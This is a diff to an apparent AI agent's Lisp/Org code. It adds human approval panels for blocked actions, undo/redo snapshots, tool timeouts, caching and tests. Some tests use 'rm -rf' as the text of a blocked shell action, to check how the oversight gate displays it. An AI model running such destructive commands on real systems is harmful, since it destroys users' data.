+                   (add-msg :system "/context       Show context summary")
+                   (add-msg :system "/rewind <n>    Rewind to snapshot N")
+                   (add-msg :system "/sessions      Show snapshots")
+                   (add-msg :system "/resume <n>    Resume from snapshot")
+                   (add-msg :system "/focus <proj>  Set project context")
+                   (add-msg :system "/theme         Show theme")
+                   (add-msg :system "/help [topic]  Show this help")
+                   (add-msg :system "\\ + Enter      Multi-line input")
+                   (add-msg :system "Ctrl+G         Toggle gate trace"))
                   ;; /theme command
                    ((string-equal text "/theme")
                     (add-msg :system (format nil "Theme: ~a — user=~a agent=~a system=~a input=~a"
@@ -315,14 +596,14 @@ Event handlers + daemon I/O + main loop.
                       (reverse (coerce (nth (st :input-hpos) h) 'list))
                       nil))
             (setf (st :dirty) (list nil nil t)))))
-       ;; PageUp
+       ;; PageUp — scroll back by page (10 lines)
        ((or (eq ch :ppage) (eql ch 339))
         (let ((max-offset (max 0 (- (length (st :messages)) 1))))
-          (setf (st :scroll-offset) (min max-offset (+ (st :scroll-offset) 5))))
+          (setf (st :scroll-offset) (min max-offset (+ (st :scroll-offset) 10))))
         (setf (st :dirty) (list nil t nil)))
-       ;; PageDown
+       ;; PageDown — scroll forward by page
        ((or (eq ch :npage) (eql ch 338))
-        (setf (st :scroll-offset) (max 0 (- (st :scroll-offset) 5)))
+        (setf (st :scroll-offset) (max 0 (- (st :scroll-offset) 10)))
         (setf (st :dirty) (list nil t nil)))
        ;; Printable
        (t
@@ -334,14 +615,81 @@ Event handlers + daemon I/O + main loop.
             (input-insert-char chr)
             (setf (st :dirty) (list nil nil t))))))))
 
+;; v0.7.2 — resolve-hitl-panel: marks panel as resolved after approve/deny
+(defun resolve-hitl-panel (decision)
+  "Mark the most recent HITL panel message as resolved with DECISION."
+  (loop for i from (1- (length (st :messages))) downto 0
+        for m = (aref (st :messages) i)
+        when (and (getf m :panel) (not (getf m :panel-resolved)))
+        do (setf (getf m :panel-resolved) decision)
+           (setf (aref (st :messages) i) m)
+           (setf (st :dirty) (list nil t nil))
+           (loop-finish)))
+
+;; v0.7.2 — self-help-lookup: read USER_MANUAL.org and find matching sections
+(defun self-help-lookup (topic)
+  "Search USER_MANUAL.org for headlines matching TOPIC, return content previews."
+  (let* ((manual-path (merge-pathnames "projects/passepartout/docs/USER_MANUAL.org"
+                                       (merge-pathnames "memex/" (user-homedir-pathname))))
+         (results nil))
+    (handler-case
+        (let* ((text (uiop:read-file-string manual-path))
+               (lines (uiop:split-string text :separator '(#\Newline)))
+               (in-section nil)
+               (section-content nil))
+          (dolist (line lines)
+            (let ((trimmed (string-trim '(#\Space #\Tab) line)))
+              (cond
+                ;; New headline
+                ((and (>= (length trimmed) 2) (eql (char trimmed 0) #\*))
+                 ;; Flush previous section if in one
+                 (when (and in-section section-content)
+                   (push (cons in-section (string-trim '(#\Space #\Newline)
+                                                       (format nil "~{~a~^ ~}" (reverse section-content))))
+                         results))
+                 ;; Check if this headline matches topic
+                 (let ((title (string-trim '(#\Space #\*) trimmed)))
+                   (if (search topic title :test #'char-equal)
+                       (setf in-section title
+                             section-content nil)
+                       (setf in-section nil
+                             section-content nil))))
+                ;; Content line in matching section
+                (in-section
+                 (when (and (> (length trimmed) 0)
+                            (not (eql (char trimmed 0) #\#)))
+                   (push trimmed section-content))))))
+          ;; Flush last section
+          (when (and in-section section-content)
+            (push (cons in-section (string-trim '(#\Space #\Newline)
+                                                (format nil "~{~a~^ ~}" (reverse section-content))))
+                  results))
+          (nreverse results))
+      (error (c) (list (cons "Error" (format nil "Cannot read manual: ~a" c)))))))
+
 (defun on-daemon-msg (msg)
   (let* ((payload (getf msg :payload))
          (text (getf payload :text))
          (msg-type (getf msg :type))
          (action (getf payload :action))
+         (level (getf msg :level))
+         (sensor (getf payload :sensor))
          (gate-trace (getf msg :gate-trace))
          (rule-count (getf payload :rule-count))
          (foveal-id (getf payload :foveal-id)))
+    ;; v0.7.2: HITL approval-required panel
+    (when (eq level :approval-required)
+      (let* ((hitl-msg (or (getf payload :message)
+                           (getf payload :text)
+                           "HITL approval required"))
+             (hitl-action (getf (getf payload :action) :payload))
+             (tool-name (getf hitl-action :tool))
+             (explanation (or tool-name "unknown action")))
+        (add-msg :system (format nil "┌─ Permission Required ─┐~%~a~%Action: ~a~%Respond: /approve HITL-xxxx or /deny HITL-xxxx"
+                                hitl-msg explanation)
+                 :panel t))
+      (setf (st :dirty) (list nil t nil))
+      (return-from on-daemon-msg nil))
     ;; v0.7.1: streaming chunk
     (when (eq msg-type :stream-chunk)
       (cond
@@ -804,7 +1152,219 @@ Event handlers + daemon I/O + main loop.
   "Contract/v0.7.1: Tab on empty input with URL message extracts URL."
   (init-state)
   (add-msg :agent "visit https://example.com for info")
-  ;; Tab should extract URL and set url buffer (model-level test)
   (on-key 9)
   (fiveam:is (string= "https://example.com" (st :url-buffer))))
+
+;; ── v0.7.2 HITL Panels ──
+
+(fiveam:test test-hitl-panel-in-on-daemon-msg
+  "Contract v0.7.2: approval-required messages render as HITL panels."
+  (init-state)
+  (on-daemon-msg '(:type :EVENT :level :approval-required
+                    :payload (:sensor :approval-required
+                              :action (:TYPE :REQUEST :PAYLOAD (:TOOL "shell"))
+                              :message "rm -rf blocked")))
+  (let ((m (aref (st :messages) 0)))
+    (fiveam:is (eq :system (getf m :role)))
+    (fiveam:is (getf m :panel))
+    (fiveam:is (search "rm -rf" (getf m :content)))))
+
+(fiveam:test test-hitl-panel-after-approve
+  "Contract v0.7.2: /approve adds confirmation and marks panel resolved."
+  (init-state)
+  (on-daemon-msg '(:type :EVENT :level :approval-required
+                    :payload (:sensor :approval-required :message "test")))
+  (dolist (ch (coerce "/approve HITL-test" 'list))
+    (on-key (char-code ch)))
+  (on-key 13)
+  ;; Panel message (index 0) should be marked resolved
+  (let ((m (aref (st :messages) 0)))
+    (fiveam:is (getf m :panel))
+    (fiveam:is (eq :approved (getf m :panel-resolved))))
+  ;; Last message should be the approval confirmation
+  (let ((m (aref (st :messages) (1- (length (st :messages))))))
+    (fiveam:is (search "Approved" (getf m :content)))))
+
+(fiveam:test test-hitl-panel-after-deny
+  "Contract v0.7.2: /deny marks panel as denied."
+  (init-state)
+  (on-daemon-msg '(:type :EVENT :level :approval-required
+                    :payload (:sensor :approval-required :message "blocked")))
+  (dolist (ch (coerce "/deny HITL-deny" 'list))
+    (on-key (char-code ch)))
+  (on-key 13)
+  (let ((m (aref (st :messages) 0)))
+    (fiveam:is (getf m :panel))
+    (fiveam:is (eq :denied (getf m :panel-resolved)))))
+
+(fiveam:test test-hitl-approve-parsed
+  "Contract v0.7.2: /approve HITL-xxxx sends structured event, not raw text."
+  (init-state)
+  (dolist (ch (coerce "/approve HITL-abcd" 'list))
+    (on-key (char-code ch)))
+  (on-key 343)
+  ;; Should add a system message confirming approval, not a user message
+  (let ((msgs (st :messages)))
+    (fiveam:is (>= (length msgs) 1))
+    (let ((m (aref msgs 0)))
+      (fiveam:is (eq :system (getf m :role)))
+      (fiveam:is (search "Approved" (getf m :content))))))
+
+(fiveam:test test-hitl-deny-parsed
+  "Contract v0.7.2: /deny HITL-xxxx sends structured denial."
+  (init-state)
+  (dolist (ch (coerce "/deny HITL-xyz" 'list))
+    (on-key (char-code ch)))
+  (on-key 343)
+  (let ((m (aref (st :messages) 0)))
+    (fiveam:is (eq :system (getf m :role)))
+    (fiveam:is (search "Denied" (getf m :content)))))
+
+;; ── v0.7.2 Undo/Redo ──
+
+(fiveam:test test-undo-command
+  "Contract v0.7.2: /undo sends undo event."
+  (init-state)
+  (dolist (ch (coerce "/undo" 'list))
+    (on-key (char-code ch)))
+  (on-key 343)
+  (let ((m (aref (st :messages) 0)))
+    (fiveam:is (eq :system (getf m :role)))
+    (fiveam:is (search "Undo" (getf m :content)))))
+
+(fiveam:test test-redo-command
+  "Contract v0.7.2: /redo sends redo event."
+  (init-state)
+  (dolist (ch (coerce "/redo" 'list))
+    (on-key (char-code ch)))
+  (on-key 343)
+  (let ((m (aref (st :messages) 0)))
+    (fiveam:is (eq :system (getf m :role)))
+    (fiveam:is (search "Redo" (getf m :content)))))
+
+;; ── v0.7.2 Self-help ──
+
+(fiveam:test test-why-command
+  "Contract v0.7.2: /why shows gate trace from last message."
+  (init-state)
+  (add-msg :agent "did something" :gate-trace '((:gate "shell" :result :blocked :reason "rm -rf")))
+  (dolist (ch (coerce "/why" 'list))
+    (on-key (char-code ch)))
+  (on-key 13)
+  (let* ((msgs (st :messages))
+         (m (aref msgs (1- (length msgs)))))
+    (fiveam:is (eq :system (getf m :role)))
+    (fiveam:is (search "[BLOCKED]" (getf m :content)))
+    (fiveam:is (search "shell" (getf m :content)))))
+
+(fiveam:test test-why-no-trace
+  "Contract v0.7.2: /why with no gate trace shows fallback message."
+  (init-state)
+  (dolist (ch (coerce "/why" 'list))
+    (on-key (char-code ch)))
+  (on-key 13)
+  (let* ((msgs (st :messages))
+         (m (aref msgs (1- (length msgs)))))
+    (fiveam:is (search "No recent" (getf m :content)))))
+
+;; ── v0.7.2 Gate Trace Toggle (Ctrl+G) ──
+
+(fiveam:test test-ctrlg-toggle-gate-trace
+  "Contract v0.7.2: Ctrl+G toggles gate-trace collapse state."
+  (init-state)
+  (add-msg :agent "test" :gate-trace '((:gate "shell" :result :passed)))
+  (on-key 7)  ;; Ctrl+G — first press hides
+  (let* ((msgs (st :messages))
+         (m (aref msgs (1- (length msgs)))))
+    (fiveam:is (search "hidden" (getf m :content))))
+  (on-key 7)  ;; second press shows
+  (let* ((msgs (st :messages))
+         (m (aref msgs (1- (length msgs)))))
+    (fiveam:is (search "shown" (getf m :content)))))
+
+(fiveam:test test-ctrlg-no-gate-trace
+  "Contract v0.7.2: Ctrl+G with no gate trace shows fallback."
+  (init-state)
+  (on-key 7)
+  (let ((m (aref (st :messages) 0)))
+    (fiveam:is (search "No gate trace" (getf m :content)))))
+
+;; ── v0.7.2 Message Search Mode ──
+
+(fiveam:test test-search-mode-activate
+  "Contract v0.7.2: /search enters search mode."
+  (init-state)
+  (add-msg :agent "hello world")
+  (add-msg :agent "goodbye")
+  (dolist (ch (coerce "/search hello" 'list))
+    (on-key (char-code ch)))
+  (on-key 13)
+  (fiveam:is (eq t (st :search-mode)))
+  (fiveam:is (string= "hello" (st :search-query)))
+  (fiveam:is (= 1 (length (st :search-matches)))))
+
+(fiveam:test test-search-mode-escape-exits
+  "Contract v0.7.2: Escape exits search mode."
+  (init-state)
+  (add-msg :agent "test")
+  (dolist (ch (coerce "/search test" 'list))
+    (on-key (char-code ch)))
+  (on-key 13)
+  (fiveam:is (eq t (st :search-mode)))
+  (on-key 27)  ;; Escape
+  (fiveam:is (null (st :search-mode))))
+
+(fiveam:test test-search-mode-up-down-nav
+  "Contract v0.7.2: Up/Down navigates between search matches."
+  (init-state)
+  (add-msg :agent "aaa hello bbb")
+  (add-msg :agent "ccc hello ddd")
+  (add-msg :agent "no match here")
+  (dolist (ch (coerce "/search hello" 'list))
+    (on-key (char-code ch)))
+  (on-key 13)
+  (fiveam:is (= 0 (st :search-match-idx)))
+  (on-key 258)  ;; Down
+  (fiveam:is (= 1 (st :search-match-idx)))
+  (on-key 259)  ;; Up
+  (fiveam:is (= 0 (st :search-match-idx)))
+  (on-key 259)  ;; Up (clamped)
+  (fiveam:is (= 0 (st :search-match-idx))))
+
+(fiveam:test test-context-sections
+  "Contract v0.7.2: /context shows section breakdown with IDENTITY, TOOLS, LOGS."
+  (init-state)
+  (add-msg :agent "hello world")
+  (dolist (ch (coerce "/context" 'list))
+    (on-key (char-code ch)))
+  (on-key 13)
+  (let ((msgs (st :messages)))
+    (fiveam:is (some (lambda (m) (search "IDENTITY" (getf m :content))) msgs))
+    (fiveam:is (some (lambda (m) (search "LOGS" (getf m :content))) msgs))
+    (fiveam:is (some (lambda (m) (search "TOOLS" (getf m :content))) msgs))))
+
+(fiveam:test test-help-topic-lookup
+  "Contract v0.7.2: /help <topic> reads and searches USER_MANUAL.org."
+  (init-state)
+  (dolist (ch (coerce "/help configuration" 'list))
+    (on-key (char-code ch)))
+  (on-key 13)
+  (let ((msgs (st :messages)))
+    (fiveam:is (some (lambda (m) (search ".env" (getf m :content))) msgs))))
+
+(fiveam:test test-pads-page-up
+  "Contract v0.7.2: PageUp scrolls by page size (> 5 lines)."
+  (init-state)
+  (dotimes (i 30) (add-msg :system (format nil "msg ~d" i)))
+  (setf (st :scroll-offset) 0)
+  (on-key :ppage)
+  (fiveam:is (> (st :scroll-offset) 5) "Should scroll by more than 5 lines"))
+
+(fiveam:test test-pads-page-down-clamp
+  "Contract v0.7.2: PageDown clamps to 0."
+  (init-state)
+  (dotimes (i 5) (add-msg :system (format nil "msg ~d" i)))
+  (setf (st :scroll-offset) 3)
+  (on-key :npage)
+  (fiveam:is (= 0 (st :scroll-offset))))
 #+end_src

org/channel-tui-state.org

@@ -41,6 +41,7 @@ All state mutation flows through event handlers in the controller.
     :connected :green :disconnected :red :busy :magenta :idle :white
     ;; Gate trace
     :gate-passed :green :gate-blocked :red :gate-approval :yellow
+    :hitl :magenta
     ;; Tools (future use)
     :tool-running :magenta :tool-success :green :tool-failure :red :tool-output :white
     ;; Display
@@ -134,7 +135,10 @@ See *tui-theme-presets* for named presets (dark, light, solarized, gruvbox).")
               :scroll-offset 0 :busy nil :cursor-pos 0
               :pending-ctrl-x nil
               :scroll-at-bottom t :scroll-notify nil
-              :streaming-text nil :url-buffer nil   ; v0.7.1
+              :streaming-text nil :url-buffer nil            ; v0.7.1
+              :collapsed-gates nil                          ; v0.7.2
+              :search-mode nil :search-query ""           ; v0.7.2
+              :search-matches nil :search-match-idx 0
               :dirty (list nil nil nil))))
 #+end_src
 
@@ -167,8 +171,8 @@ See *tui-theme-presets* for named presets (dark, light, solarized, gruvbox).")
         (setf (st :input-buffer) (reverse (coerce new 'list)))
         (setf (st :cursor-pos) (1- pos))))))
 
-(defun add-msg (role content &key gate-trace)
-  (vector-push-extend (list :role role :content content :time (now) :gate-trace gate-trace) (st :messages))
+(defun add-msg (role content &key gate-trace panel)
+  (vector-push-extend (list :role role :content content :time (now) :gate-trace gate-trace :panel panel) (st :messages))
   ;; v0.7.0: notify when scrolled up and new msg arrives
   (unless (st :scroll-at-bottom)
     (setf (st :scroll-notify) t))

org/channel-tui-view.org

@@ -67,35 +67,23 @@ that the TUI actuator attaches to the response plist before transmission.
               :y 2 :x (max 1 (- (width win) 12))
               :fgcolor (theme-color :timestamp))
   (refresh win))
-#+end_src
 
-** Chat Area
-#+begin_src lisp
-(defun word-wrap (text width)
-  "Break text into lines at word boundaries, each <= width chars.
-Returns list of trimmed strings. Single words wider than width are split."
-  (let ((lines '())
-        (pos 0)
-        (len (length text)))
-    (loop while (< pos len)
-          do (let ((end (min len (+ pos width))))
-               (cond
-                 ((>= end len)
-                  (push (string-trim '(#\Space) (subseq text pos len)) lines)
-                  (setf pos len))
-                 ((char= (char text (1- end)) #\Space)
-                  (push (string-trim '(#\Space) (subseq text pos end)) lines)
-                  (setf pos end))
-                 (t
-                  (let ((last-space (position #\Space text :from-end t :end (1+ end) :start pos)))
-                    (if (and last-space (> last-space pos))
-                        (progn
-                          (push (string-trim '(#\Space) (subseq text pos last-space)) lines)
-                          (setf pos (1+ last-space)))
-                        (progn
-                          (push (string-trim '(#\Space) (subseq text pos end)) lines)
-                          (setf pos end))))))))
-    (nreverse lines)))
+;; v0.7.2: search-highlight — wrap matching text in **bold** for markdown
+(defun search-highlight (content query)
+  "Wrap occurrences of QUERY in CONTENT with **bold** markers."
+  (let ((lower-content (string-downcase content))
+        (lower-query (string-downcase query))
+        (result "") (pos 0))
+    (when (and query (> (length query) 0))
+      (loop
+        (let ((found (search lower-query lower-content :start2 pos)))
+          (unless found (return))
+          (setf result (concatenate 'string result
+                                   (subseq content pos found)
+                                   "**" (subseq content found (+ found (length query))) "**"))
+          (setf pos (+ found (length query)))))
+      (setf result (concatenate 'string result (subseq content pos)))
+      (if (string= result "") content result))))
 
 (defun view-chat (win h)
   (clear win)
@@ -104,18 +92,32 @@ Returns list of trimmed strings. Single words wider than width are split."
          (msgs (st :messages))
          (total (length msgs))
          (max-lines (- h 2))
+         (is-search (st :search-mode))
          (y 1))
+    ;; v0.7.2: search mode header
+    (when is-search
+      (let* ((matches (st :search-matches))
+             (idx (st :search-match-idx))
+             (query (st :search-query))
+             (header (format nil "Search: ~d matches for '~a' (~d/~d) — Esc to exit"
+                            (length matches) query (1+ idx) (length matches))))
+        (add-string win header :y y :x 1 :n (1- w) :fgcolor (theme-color :highlight))
+        (incf y)
+        (decf max-lines)))
     ;; Count visible messages from end, accounting for word wrap
     (let* ((msg-count 0)
            (lines-remaining max-lines))
       (loop for i from (1- total) downto 0
             while (> lines-remaining 0)
             do (let* ((msg (aref msgs i))
-                      (role (getf msg :role))
-                      (content (getf msg :content))
-                      (time (or (getf msg :time) ""))
-                      (prefix (case role (:user "⬆") (:agent "⬇") (t "  ")))
-                      (line-text (format nil "~a [~a] ~a" prefix time content))
+                       (role (getf msg :role))
+                       (content (getf msg :content))
+                       (time (or (getf msg :time) ""))
+                       (prefix (case role (:user "⬆") (:agent "⬇") (t "  ")))
+                       (content-show (if is-search
+                                        (search-highlight content (st :search-query))
+                                        content))
+                       (line-text (format nil "~a [~a] ~a" prefix time content-show))
                       (wrapped (word-wrap line-text (- w 2)))
                       (nlines (length wrapped)))
                  (if (<= nlines lines-remaining)
@@ -132,16 +134,33 @@ Returns list of trimmed strings. Single words wider than width are split."
                         (time (or (getf msg :time) ""))
                         (color (theme-color (case role (:user :user) (:agent :agent) (:system :system) (t :agent))))
                         (prefix (case role (:user "⬆") (:agent "⬇") (t "  ")))
-                        (line-text (format nil "~a [~a] ~a" prefix time content))
+                        (is-panel (getf msg :panel))
+                        (is-resolved (getf msg :panel-resolved))
+                        (content-show (if is-search
+                                         (search-highlight content (st :search-query))
+                                         content))
+                        (line-text (format nil "~a [~a] ~a" prefix time content-show))
                         (wrapped (word-wrap line-text (- w 2))))
+                   ;; HITL panel: render with colored border
+                   (when is-panel
+                     (setf color (if is-resolved
+                                    (theme-color :dim)
+                                    (theme-color :hitl))))
                    (dolist (line wrapped)
-                     (when (< y (1- h))
-                       (if (eq role :agent)
-                           (let ((segments (parse-markdown-spans line)))
-                             (setf y (render-styled win segments y 1 w)))
-                           (progn
-                             (add-string win line :y y :x 1 :n (1- w) :fgcolor color)
-                             (incf y))))))))))
+                      (when (< y (1- h))
+                        (if (eq role :agent)
+                            (let ((segments (parse-markdown-spans line)))
+                              (setf y (render-styled win segments y 1 w)))
+                            (progn
+                              (add-string win line :y y :x 1 :n (1- w) :fgcolor color)
+                              (incf y)))))
+                    ;; v0.7.2: gate trace below agent messages
+                    (let ((gate-trace (getf msg :gate-trace)))
+                      (when (and gate-trace (not (member i (st :collapsed-gates))))
+                        (dolist (entry (passepartout::gate-trace-lines gate-trace))
+                          (when (< y (1- h))
+                            (add-string win (car entry) :y y :x 3 :n (- w 4) :fgcolor (or (getf (cdr entry) :fgcolor) :dim))
+                            (incf y))))))))))
   (refresh win))
 #+end_src
 
@@ -319,6 +338,36 @@ ASCII < 128 = 1. CJK, fullwidth, emoji = 2. Combining marks = 0. Tab = 8."
     (nreverse r)))
 #+end_src
 
+* v0.7.2 — Gate Trace
+#+begin_src lisp
+(in-package :passepartout)
+
+(defun gate-trace-lines (trace)
+  "Convert gate-trace plist to display lines."
+  (let ((lines nil))
+    (dolist (entry trace)
+      (let* ((gate (getf entry :gate))
+             (result (getf entry :result))
+             (reason (getf entry :reason))
+             (name (or gate "unknown"))
+             (color (case result
+                      (:passed :gate-passed)
+                      (:blocked :gate-blocked)
+                      (:approval :gate-approval)
+                      (t :dim)))
+             (prefix (case result
+                       (:passed "  \u2713 ")
+                       (:blocked "  \u2717 ")
+                       (:approval "  \u2192 ")
+                       (t "  ? ")))
+             (text (format nil "~a~a~@[~a~]~@[~a~]"
+                           prefix name
+                           (when reason (format nil ": ~a" reason))
+                           (if (eq result :approval) " (HITL required)" ""))))
+        (push (cons text (list :fgcolor color)) lines)))
+    (nreverse lines)))
+#+end_src
+
 * Test Suite
 #+begin_src lisp
 (eval-when (:compile-toplevel :load-toplevel :execute)
@@ -401,4 +450,31 @@ ASCII < 128 = 1. CJK, fullwidth, emoji = 2. Combining marks = 0. Tab = 8."
   (let ((segs (passepartout::syntax-highlight "(+ 1 2)" "lisp")))
     (is (>= (length segs) 2))
     (is (find :function segs :key (lambda (s) (getf (cdr s) :fgcolor))))))
+
+(test test-gate-trace-lines-passed
+  "Contract 9: gate-trace-lines for passed gate."
+  (let ((lines (passepartout::gate-trace-lines
+                '((:gate "path" :result :passed)))))
+    (is (= 1 (length lines)))
+    (is (eq :gate-passed (getf (cdar lines) :fgcolor)))))
+
+(test test-gate-trace-lines-blocked
+  "Contract 9: gate-trace-lines for blocked gate."
+  (let ((lines (passepartout::gate-trace-lines
+                '((:gate "shell" :result :blocked :reason "rm")))))
+    (is (= 1 (length lines)))
+    (is (search "rm" (caar lines)))))
+
+(test test-gate-trace-lines-approval
+  "Contract 9: gate-trace-lines for approval gate."
+  (let ((lines (passepartout::gate-trace-lines
+                '((:gate "network" :result :approval)))))
+    (is (= 1 (length lines)))
+    (is (search "HITL" (caar lines)))))
+
+(test test-init-state-has-collapsed-gates
+  "Contract v0.7.2: init-state includes :collapsed-gates field."
+  (passepartout.channel-tui::init-state)
+  (let ((cg (passepartout.channel-tui::st :collapsed-gates)))
+    (is (null cg))))
 #+end_src

org/core-act.org

@@ -180,21 +180,92 @@ The tool's return value is packed into a ~:tool-output~ event and fed back into
          (meta (getf context :meta))
          (source (getf meta :source))
          (tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*)))
+    ;; v0.7.2: snapshot before destructive tool execution
+    (when (and tool (not (cognitive-tool-read-only-p tool)))
+      (undo-snapshot))
     (if tool
         (handler-case
             (let* ((clean-args (if (and (listp tool-args) (listp (car tool-args))) (car tool-args) tool-args))
-                   (result (funcall (cognitive-tool-body tool) clean-args)))
+                   (is-read-only (cognitive-tool-read-only-p tool))
+                   (cache-key (when is-read-only (tool-cache-key tool-name clean-args)))
+                   (cached (when cache-key (gethash cache-key *tool-cache*)))
+                   (raw-result (if cached
+                                   (progn (log-message "TOOL-CACHE: hit for ~a" tool-name) cached)
+                                   (let* ((res (call-with-tool-timeout tool-name
+                                                (lambda () (funcall (cognitive-tool-body tool) clean-args)))))
+                                     (when (and is-read-only cache-key)
+                                       (setf (gethash cache-key *tool-cache*) res))
+                                     res))))
+              ;; Timeout: propagate error
+              (when (and (listp raw-result) (eq (getf raw-result :status) :error))
+                (return-from action-tool-execute
+                  (list :TYPE :EVENT :DEPTH (1+ depth) :META meta
+                        :PAYLOAD (list :SENSOR :tool-error :TOOL tool-name
+                                      :MESSAGE (getf raw-result :message)))))
               (when source
                 (action-dispatch (list :TYPE :REQUEST :TARGET source 
-                                       :PAYLOAD (list :ACTION :MESSAGE :TEXT (tool-result-format tool-name result)))
+                                       :PAYLOAD (list :ACTION :MESSAGE :TEXT (tool-result-format tool-name raw-result)))
                                 context))
               (list :TYPE :EVENT :DEPTH (1+ depth) :META meta
-                    :PAYLOAD (list :SENSOR :tool-output :RESULT result :TOOL tool-name)))
+                    :PAYLOAD (list :SENSOR :tool-output :RESULT raw-result :TOOL tool-name)))
           (error (c)
             (list :TYPE :EVENT :DEPTH (1+ depth) :META meta
                   :PAYLOAD (list :SENSOR :tool-error :TOOL tool-name :MESSAGE (format nil "~a" c)))))
         (list :TYPE :EVENT :DEPTH (1+ depth) :META meta
-              :PAYLOAD (list :SENSOR :tool-error :MESSAGE (format nil "Tool '~a' not found" tool-name))))))
+               :PAYLOAD (list :SENSOR :tool-error :MESSAGE (format nil "Tool '~a' not found" tool-name))))))
+#+end_src
+
+** v0.7.2 — Tool Execution Hardening
+#+begin_src lisp
+(defvar *tool-timeouts* (make-hash-table :test 'equal)
+  "Per-tool timeout in seconds. Default 120s.")
+
+;; Defaults: shell=300s, search-files=30s, eval-form=10s
+(setf (gethash "shell" *tool-timeouts*) 300)
+(setf (gethash "search-files" *tool-timeouts*) 30)
+(setf (gethash "eval-form" *tool-timeouts*) 10)
+
+(defun tool-timeout (tool-name)
+  "Return timeout for tool-name, default 120 seconds."
+  (gethash (string-downcase (string tool-name)) *tool-timeouts* 120))
+
+(defun call-with-tool-timeout (tool-name fn)
+  "Execute FN within the timeout for TOOL-NAME.
+On timeout, returns (:status :error :message ...)."
+  (let ((timeout (tool-timeout tool-name)))
+    (handler-case
+        (sb-ext:with-timeout timeout
+          (funcall fn))
+      (sb-ext:timeout (c)
+        (declare (ignore c))
+        (list :status :error :message
+              (format nil "Timed out after ~a second~:p" timeout))))))
+
+(defun verify-write (filepath expected-content)
+  "Verify that FILEPATH contains EXPECTED-CONTENT after write.
+Returns T on match, logs and returns NIL on mismatch or read error."
+  (handler-case
+      (let ((actual (uiop:read-file-string filepath)))
+        (if (string= expected-content actual)
+            t
+            (progn
+              (log-message "WRITE-VERIFY: Mismatch in ~a" filepath)
+              nil)))
+    (error (c)
+      (log-message "WRITE-VERIFY: Cannot read ~a: ~a" filepath c)
+      nil)))
+
+;; v0.7.2: read-only tool response cache
+(defvar *tool-cache* (make-hash-table :test 'equal)
+  "Cache for read-only tool results. Key: tool-name$sxhash-args. Cleared per session.")
+
+(defun tool-cache-key (tool-name args)
+  "Build a cache key from TOOL-NAME and ARGS."
+  (format nil "~a$~a" (string-downcase (string tool-name)) (sxhash args)))
+
+(defun tool-cache-clear ()
+  "Clear the read-only tool response cache."
+  (clrhash *tool-cache*))
 #+end_src
 
 ** Tool Result Formatting (tool-result-format)
@@ -358,4 +429,68 @@ Verifies that the act gate correctly processes an approved action and sets the s
   (let ((result (action-dispatch '(:type :REQUEST :target :system :payload (:action :eval :code "(+ 1 2)"))
                                   '(:type :EVENT :depth 0))))
     (is (numberp result) "eval should return a number")))
+
+(test test-tool-timeout-shell
+  "Contract v0.7.2: shell timeout is 300 seconds."
+  (is (= 300 (passepartout::tool-timeout "shell"))))
+
+(test test-tool-timeout-unknown
+  "Contract v0.7.2: unknown tool gets default 120s."
+  (is (= 120 (passepartout::tool-timeout "nonexistent-tool"))))
+
+(test test-verify-write-match
+  "Contract v0.7.2: verify-write returns T on match."
+  (let ((path "/tmp/passepartout-verify-test.org")
+        (content "test content"))
+    (with-open-file (f path :direction :output :if-exists :supersede)
+      (write-string content f))
+    (unwind-protect
+         (is (passepartout::verify-write path content))
+      (ignore-errors (delete-file path)))))
+
+(test test-tool-timeout-enforcement
+  "Contract v0.7.2: tool exceeding timeout returns :error with timeout message."
+  (setf (gethash "sleep-forever" passepartout::*tool-timeouts*) 1)
+  (setf (gethash "sleep-forever" passepartout::*cognitive-tool-registry*)
+        (passepartout::make-cognitive-tool :name "sleep-forever"
+                                          :read-only-p nil
+                                          :body (lambda (args)
+                                                  (declare (ignore args))
+                                                  (sleep 10)
+                                                  "done")))
+  (unwind-protect
+       (let* ((action '(:type :REQUEST :payload (:tool "sleep-forever" :args nil)))
+              (ctx '(:depth 0))
+              (result (passepartout::action-tool-execute action ctx)))
+         (is (eq :EVENT (getf result :TYPE)))
+         (let ((payload (getf result :PAYLOAD)))
+           (is (eq :tool-error (getf payload :SENSOR)))
+           (is (search "timed out" (string-downcase (getf payload :MESSAGE))))))
+    (remhash "sleep-forever" passepartout::*cognitive-tool-registry*)
+    (remhash "sleep-forever" passepartout::*tool-timeouts*)))
+
+(test test-tool-cache-read-only
+  "Contract v0.7.2: read-only tool results are cached and reused."
+  (let ((call-count 0))
+    (setf (gethash "cache-test" passepartout::*cognitive-tool-registry*)
+          (passepartout::make-cognitive-tool :name "cache-test"
+                                            :read-only-p t
+                                            :body (lambda (args)
+                                                    (declare (ignore args))
+                                                    (incf call-count)
+                                                    (list :status :success :content (format nil "call ~d" call-count)))))
+    (unwind-protect
+         (progn
+           (clrhash passepartout::*tool-cache*)
+           (let* ((action '(:type :REQUEST :payload (:tool "cache-test" :args nil)))
+                  (ctx '(:depth 0))
+                  (r1 (passepartout::action-tool-execute action ctx))
+                  (r2 (passepartout::action-tool-execute action ctx)))
+             (is (= 1 call-count) "Second call should hit cache, not re-execute")
+             (let ((p1 (getf r1 :PAYLOAD))
+                   (p2 (getf r2 :PAYLOAD)))
+               (is (string= (getf (getf p1 :RESULT) :CONTENT)
+                            (getf (getf p2 :RESULT) :CONTENT))))))
+      (remhash "cache-test" passepartout::*cognitive-tool-registry*)
+      (clrhash passepartout::*tool-cache*))))
 #+end_src

org/core-memory.org

@@ -359,6 +359,76 @@ Restores memory state from a previously saved snapshot file. Called during boot
                   (log-message "MEMORY - Loaded from ~a (~a objects)" path (hash-table-size *memory-store*))))))
           (error (c) (log-message "MEMORY WARNING - Failed to load snapshot: ~a" c)))))
   t)
+
+;; v0.7.2 — Undo/Redo
+(defvar *undo-stack* nil
+  "Ring buffer of pre-operation memory snapshots. Newest first, max 20.")
+(defvar *redo-stack* nil
+  "Stack of snapshots saved during undo for redo. Max 20.")
+
+(defun undo-snapshot ()
+  "Save current memory state to the undo stack."
+  (let ((snap (list :timestamp (get-universal-time)
+                    :data (memory-hash-table-copy *memory-store*))))
+    (push snap *undo-stack*)
+    (when (> (length *undo-stack*) 20)
+      (setf *undo-stack* (subseq *undo-stack* 0 20)))))
+
+(defun undo (&optional source)
+  "Restore memory to the most recent undo snapshot. Returns T on success, NIL if stack empty."
+  (declare (ignore source))
+  (if *undo-stack*
+      (let ((snap (pop *undo-stack*)))
+        (push (list :timestamp (get-universal-time)
+                    :data (memory-hash-table-copy *memory-store*))
+              *redo-stack*)
+        (when (> (length *redo-stack*) 20)
+          (setf *redo-stack* (subseq *redo-stack* 0 20)))
